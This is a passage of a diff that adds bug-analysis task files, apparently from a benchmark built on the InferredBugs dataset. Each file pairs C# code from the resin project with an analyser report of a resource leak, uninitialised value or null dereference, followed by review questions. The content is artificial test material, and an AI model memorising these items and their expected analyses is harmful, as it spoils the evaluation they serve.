+Byte[] RemotePostingsWriter.ToStream(IList`1<!0>)
+
+### File:
+src/Sir.Store/PagedPostingsWriter.cs
+
+### Key:
+PagedPostingsWriter.cs|ToStream|DOTNET_RESOURCE_LEAK
+
+### Hash:
+5555e63f4fce6b9f3ce63b1fa6222d15
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2259/instruction.md b/inferredbugs-2259/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..7b6d4edeeb54b4f9573d6ac2c726a23120db6849
--- /dev/null
+++ b/inferredbugs-2259/instruction.md
@@ -0,0 +1,364 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 11
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.IO;
+using System.Text;
+using NUnit.Framework;
+using Resin.IO;
+
+namespace Tests
+{
+    [TestFixture]
+    public class LcrsTrieTests
+    {
+        [Test]
+        public void Can_scan_fuzzy_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 1);
+                Assert.AreEqual(1, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 2);
+                Assert.AreEqual(3, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+                Assert.IsTrue(near.Contains("bank"));
+                Assert.IsTrue(near.Contains("bad"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_prefix_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var startsWith = scanner.StartsWith("ba");
+                Assert.AreEqual(3, startsWith.Count);
+                Assert.IsTrue(startsWith.Contains("baby"));
+                Assert.IsTrue(startsWith.Contains("bad"));
+                Assert.IsTrue(startsWith.Contains("bank"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_exact_from_disk()
+        {
+            const string fileName = "0.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsFalse(scanner.HasWord("bab"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_serialize()
+        {
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize("0.bt");
+            var acctual = File.ReadAllText("0.bt", Encoding.Unicode);
+
+            const string expected = "d1100\r\na0101\r\nn1102\r\nc0103\r\ni1104\r\nn0105\r\ng0016\r\ne0014\r\nd0112\r\nd0103\r\ny0014\r\nb0100\r\no1101\r\nx0012\r\na0101\r\nn1102\r\nk0013\r\nd1012\r\nb0102\r\ny0013\r\n";
+
+            Assert.AreEqual(expected, acctual);
+        }
+
+        [Test]
+        public void Can_find_near()
+        {
+            var tree = new LcrsTrie('\0', false);
+            var near = tree.Near("ba", 1);
+
+            Assert.That(near, Is.Empty);
+
+            tree.Add("bad");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("baby");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("b");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(2));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+
+            near = tree.Near("ba", 2);
+
+            Assert.That(near.Count, Is.EqualTo(3));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+
+            near = tree.Near("ba", 0);
+
+            Assert.That(near.Count, Is.EqualTo(0));
+
+            tree.Add("bananas");
+            near = tree.Near("ba", 6);
+
+            Assert.That(near.Count, Is.EqualTo(4));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bananas"));
+
+            near = tree.Near("bazy", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("baby"));
+
+            tree.Add("bank");
+            near = tree.Near("bazy", 3);
+
+            Assert.AreEqual(4, near.Count);
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bank"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+        }
+
+        [Test]
+        public void Can_find_suffixes()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            var prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed, Is.Empty);
+
+            tree.Add("bad");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(1));
+            Assert.IsTrue(prefixed.Contains("bad"));
+
+            tree.Add("baby");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(2));
+            Assert.IsTrue(prefixed.Contains("bad"));
+            Assert.IsTrue(prefixed.Contains("baby"));
+        }
+
+        [Test]
+        public void Can_find_exact()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            Assert.False(tree.HasWord("xxx"));
+
+            tree.Add("xxx");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.False(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("baby");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("dad");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.True(tree.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_build_one_leg()
+        {
+            var tree = new LcrsTrie('\0', false);
+            
+            tree.Add("baby");
+
+            Assert.That(tree.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(tree.HasWord("baby"));
+        }
+
+        [Test]
+        public void Can_build_two_legs()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("dad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('d'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_append()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("bad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("bad"));
+        }
+    }
+}
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`node` is read without initialization during the call to `LcrsTrie.Add(...)`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void LcrsTrieTests.Can_serialize()
+
+### File:
+Tests/LcrsTrieTests.cs
+
+### Key:
+LcrsTrieTests.cs|Can_serialize|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+97daf74d74f0894d686dfd4b2a6acf53
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2261/instruction.md b/inferredbugs-2261/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..06a87ec2691d1b74bca88255da255343c67cc244
--- /dev/null
+++ b/inferredbugs-2261/instruction.md
@@ -0,0 +1,82 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 29
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+
+namespace Sir.Store
+{
+    public class Start : IPluginStart
+    {
+        public void OnApplicationStartup(IServiceCollection services, ServiceProvider serviceProvider)
+        {
+            var tokenizer = new LatinTokenizer();
+            var config = serviceProvider.GetService<IConfigurationService>();
+
+            services.AddSingleton(typeof(LocalStorageSessionFactory), 
+                new LocalStorageSessionFactory(
+                    config.Get("data_dir"), 
+                    tokenizer,
+                    config));
+
+            services.AddSingleton(typeof(ITokenizer), tokenizer);
+
+            services.AddSingleton(typeof(HttpQueryParser), new HttpQueryParser(new KeyValueBooleanQueryParser()));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (output of Sir.Store.LocalStorageSessionFactory::.ctor() at Line 12).Sir.Store.LocalStorageSessionFactory.<_writableKeyMapStream>k__BackingField of type System.IO.FileStream in method "Void Start.OnApplicationStartup(IServiceCollection,ServiceProvider)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Start.OnApplicationStartup(IServiceCollection,ServiceProvider)
+
+### File:
+src/Sir.Store/Start.cs
+
+### Key:
+Start.cs|OnApplicationStartup|DOTNET_RESOURCE_LEAK
+
+### Hash:
+414fcc51b7621d89454290dce80a7330
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2266/instruction.md b/inferredbugs-2266/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..63f9a679ffd4537e35590b045ec4f637788bca58
--- /dev/null
+++ b/inferredbugs-2266/instruction.md
@@ -0,0 +1,83 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 28
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+using System.IO;
+
+namespace Sir.Store
+{
+    public class Start : IPluginStart
+    {
+        public void OnApplicationStartup(IServiceCollection services, ServiceProvider serviceProvider)
+        {
+            var tokenizer = new LatinTokenizer();
+            var config = serviceProvider.GetService<IConfigurationService>();
+
+            services.AddSingleton(typeof(LocalStorageSessionFactory), 
+                new LocalStorageSessionFactory(
+                    Path.Combine(Directory.GetCurrentDirectory(), "App_Data"), 
+                    tokenizer,
+                    config));
+
+            services.AddSingleton(typeof(ITokenizer), tokenizer);
+
+            services.AddSingleton(typeof(HttpQueryParser), new HttpQueryParser(new BooleanKeyValueQueryParser()));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource tokenizer of type Sir.Store.LatinTokenizer, Leaked resource (output of Sir.Store.LocalStorageSessionFactory::.ctor() at Line 13).Sir.Store.LocalStorageSessionFactory.<WritableKeyMapStream>k__BackingField of type System.IO.FileStream in method "Void Start.OnApplicationStartup(IServiceCollection,ServiceProvider)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void Start.OnApplicationStartup(IServiceCollection,ServiceProvider)
+
+### File:
+src/Sir.Store/Start.cs
+
+### Key:
+Start.cs|OnApplicationStartup|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f2987cad0798af5360217955edafb299
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2268/instruction.md b/inferredbugs-2268/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b1871ce36f70408295439d9b9d49e34e2cccacb7
--- /dev/null
+++ b/inferredbugs-2268/instruction.md
@@ -0,0 +1,87 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.IO;
+using System.Linq;
+using NUnit.Framework;
+using Resin;
+
+namespace Tests
+{
+    [TestFixture]
+    public class FieldReaderTests
+    {
+        [Test]
+        public void Can_read_field_file()
+        {
+            const string fileName = "c:\\temp\\resin_tests\\Can_read_field_file\\0.fld";
+            if (File.Exists(fileName)) File.Delete(fileName);
+            using (var fw = new FieldFile(fileName))
+            {
+                fw.Write(0, "hello", 0);
+                fw.Write(5, "world", 1);
+            }
+            var reader = FieldReader.Load(fileName);
+            var helloPositionsForDocId0 = reader.GetDocPosition("hello")[0];
+            var worldPositionsForDocId5 = reader.GetDocPosition("world")[5];
+            Assert.AreEqual(0, helloPositionsForDocId0.First());
+            Assert.AreEqual(1, worldPositionsForDocId5.First());
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+``IDictionary`2<!0,!1> FieldReader.GetDocPosition(String)`` could be null (from the call to `FieldReader.GetDocPosition(...)` on line 23) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void FieldReaderTests.Can_read_field_file()
+
+### File:
+Tests/FieldReaderTests.cs
+
+### Key:
+FieldReaderTests.cs|Can_read_field_file|NULLPTR_DEREFERENCE
+
+### Hash:
+e2a9d4b492c0066c497869c0d005db38
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2269/instruction.md b/inferredbugs-2269/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..dac20a7a7f697b06f1153c9cbe7ab3e91ba47eaf
--- /dev/null
+++ b/inferredbugs-2269/instruction.md
@@ -0,0 +1,364 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 10
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.IO;
+using System.Text;
+using NUnit.Framework;
+using Resin.IO;
+
+namespace Tests
+{
+    [TestFixture]
+    public class LcrsTrieTests
+    {
+        [Test]
+        public void Can_scan_fuzzy_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 1);
+                Assert.AreEqual(1, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var near = scanner.Near("bazy", 2);
+                Assert.AreEqual(3, near.Count);
+                Assert.IsTrue(near.Contains("baby"));
+                Assert.IsTrue(near.Contains("bank"));
+                Assert.IsTrue(near.Contains("bad"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_prefix_from_disk()
+        {
+            const string fileName = "1.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                var startsWith = scanner.StartsWith("ba");
+                Assert.AreEqual(3, startsWith.Count);
+                Assert.IsTrue(startsWith.Contains("baby"));
+                Assert.IsTrue(startsWith.Contains("bad"));
+                Assert.IsTrue(startsWith.Contains("bank"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_scan_exact_from_disk()
+        {
+            const string fileName = "0.bt";
+
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize(fileName);
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsFalse(scanner.HasWord("bab"));
+            }
+
+            using (var fs = File.OpenRead(fileName))
+            using (var sr = new StreamReader(fs, Encoding.Unicode))
+            using (var scanner = new LcrsTreeStreamReader(sr))
+            {
+                Assert.IsTrue(scanner.HasWord("baby"));
+            }
+        }
+
+        [Test]
+        public void Can_serialize()
+        {
+            var tree = new LcrsTrie('\0', false);
+            tree.Add("baby");
+            tree.Add("bad");
+            tree.Add("bank");
+            tree.Add("box");
+            tree.Add("dad");
+            tree.Add("daddy");
+            tree.Add("dance");
+            tree.Add("dancing");
+
+            tree.Serialize("0.bt");
+            var acctual = File.ReadAllText("0.bt", Encoding.Unicode);
+
+            const string expected = "d1100\r\na0101\r\nn1102\r\nc0103\r\ni1104\r\nn0105\r\ng0016\r\ne0014\r\nd0112\r\nd0103\r\ny0014\r\nb0100\r\no1101\r\nx0012\r\na0101\r\nn1102\r\nk0013\r\nd1012\r\nb0102\r\ny0013\r\n";
+
+            Assert.AreEqual(expected, acctual);
+        }
+
+        [Test]
+        public void Can_find_near()
+        {
+            var tree = new LcrsTrie('\0', false);
+            var near = tree.Near("ba", 1);
+
+            Assert.That(near, Is.Empty);
+
+            tree.Add("bad");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("baby");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("bad"));
+
+            tree.Add("b");
+            near = tree.Near("ba", 1);
+
+            Assert.That(near.Count, Is.EqualTo(2));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+
+            near = tree.Near("ba", 2);
+
+            Assert.That(near.Count, Is.EqualTo(3));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+
+            near = tree.Near("ba", 0);
+
+            Assert.That(near.Count, Is.EqualTo(0));
+
+            tree.Add("bananas");
+            near = tree.Near("ba", 6);
+
+            Assert.That(near.Count, Is.EqualTo(4));
+            Assert.IsTrue(near.Contains("b"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bananas"));
+
+            near = tree.Near("bazy", 1);
+
+            Assert.That(near.Count, Is.EqualTo(1));
+            Assert.IsTrue(near.Contains("baby"));
+
+            tree.Add("bank");
+            near = tree.Near("bazy", 3);
+
+            Assert.AreEqual(4, near.Count);
+            Assert.IsTrue(near.Contains("baby"));
+            Assert.IsTrue(near.Contains("bank"));
+            Assert.IsTrue(near.Contains("bad"));
+            Assert.IsTrue(near.Contains("b"));
+        }
+
+        [Test]
+        public void Can_find_suffixes()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            var prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed, Is.Empty);
+
+            tree.Add("bad");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(1));
+            Assert.IsTrue(prefixed.Contains("bad"));
+
+            tree.Add("baby");
+
+            prefixed = tree.StartsWith("ba");
+
+            Assert.That(prefixed.Count, Is.EqualTo(2));
+            Assert.IsTrue(prefixed.Contains("bad"));
+            Assert.IsTrue(prefixed.Contains("baby"));
+        }
+
+        [Test]
+        public void Can_find_exact()
+        {
+            var tree = new LcrsTrie('\0', false);
+
+            Assert.False(tree.HasWord("xxx"));
+
+            tree.Add("xxx");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.False(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("baby");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.False(tree.HasWord("dad"));
+
+            tree.Add("dad");
+
+            Assert.True(tree.HasWord("xxx"));
+            Assert.True(tree.HasWord("baby"));
+            Assert.True(tree.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_build_one_leg()
+        {
+            var tree = new LcrsTrie('\0', false);
+            
+            tree.Add("baby");
+
+            Assert.That(tree.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(tree.LeftChild.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(tree.HasWord("baby"));
+        }
+
+        [Test]
+        public void Can_build_two_legs()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("dad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('d'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.RightSibling.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("dad"));
+        }
+
+        [Test]
+        public void Can_append()
+        {
+            var root = new LcrsTrie('\0', false);
+
+            root.Add("baby");
+            root.Add("bad");
+
+            Assert.That(root.LeftChild.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.Value, Is.EqualTo('a'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.Value, Is.EqualTo('d'));
+
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.Value, Is.EqualTo('b'));
+            Assert.That(root.LeftChild.LeftChild.LeftChild.RightSibling.LeftChild.Value, Is.EqualTo('y'));
+
+            Assert.True(root.HasWord("baby"));
+            Assert.True(root.HasWord("bad"));
+        }
+    }
+}
+```
+
+### Bug Type:
+PULSE_UNINITIALIZED_VALUE
+
+### Qualifier:
+`node` is read without initialization during the call to `LcrsTrie.Add(...)`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void LcrsTrieTests.Can_serialize()
+
+### File:
+Tests/LcrsTrieTests.cs
+
+### Key:
+LcrsTrieTests.cs|Can_serialize|PULSE_UNINITIALIZED_VALUE
+
+### Hash:
+97daf74d74f0894d686dfd4b2a6acf53
+
+### Bug Type Hum:
+Uninitialized Value
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-2292/instruction.md b/inferredbugs-2292/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6c04681466b4a10b86f909c9125edc0a1926b3c0
--- /dev/null
+++ b/inferredbugs-2292/instruction.md
@@ -0,0 +1,364 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** resin
+**Bug ID:** 15
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using System.IO;
+using System.Text;
+using NUnit.Framework;
+using Resin.IO;
+
+namespace Tests
+{
+    [TestFixture]
+    public class LcrsTrieTests
+    {
+        [Test]
